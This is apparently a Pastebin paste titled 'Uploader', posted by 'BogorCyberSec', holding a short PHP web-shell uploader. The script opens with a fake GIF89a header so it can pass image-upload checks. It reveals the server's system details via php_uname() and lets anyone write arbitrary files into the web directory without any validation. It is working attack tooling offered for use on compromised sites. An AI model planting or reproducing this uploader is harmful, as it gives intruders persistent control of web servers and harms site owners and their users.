Advertisement
BogorCyberSec

Uploader

Jul 19th, 2019
740
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 0.78 KB | None | 0 0
  1. GIF89a;
  2. <?php
  3. echo "<b>Rare1337 - Uploader</b>";
  4. echo "<br>".php_uname()."<br>";
  5. echo "<form method='post' enctype='multipart/form-data'>
  6. <input type='file' name='upl'><input type='submit' name='upload' value='upload'>
  7. </form>";
  8. if($_POST['upload']) {
  9.     if(@copy($_FILES['upl']['tmp_name'], $_FILES['upl']['name'])) {
  10.     echo "Sukses";
  11.     } else {
  12.     echo "Gagal euy";
  13.     }
  14. }
  15. ?>
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement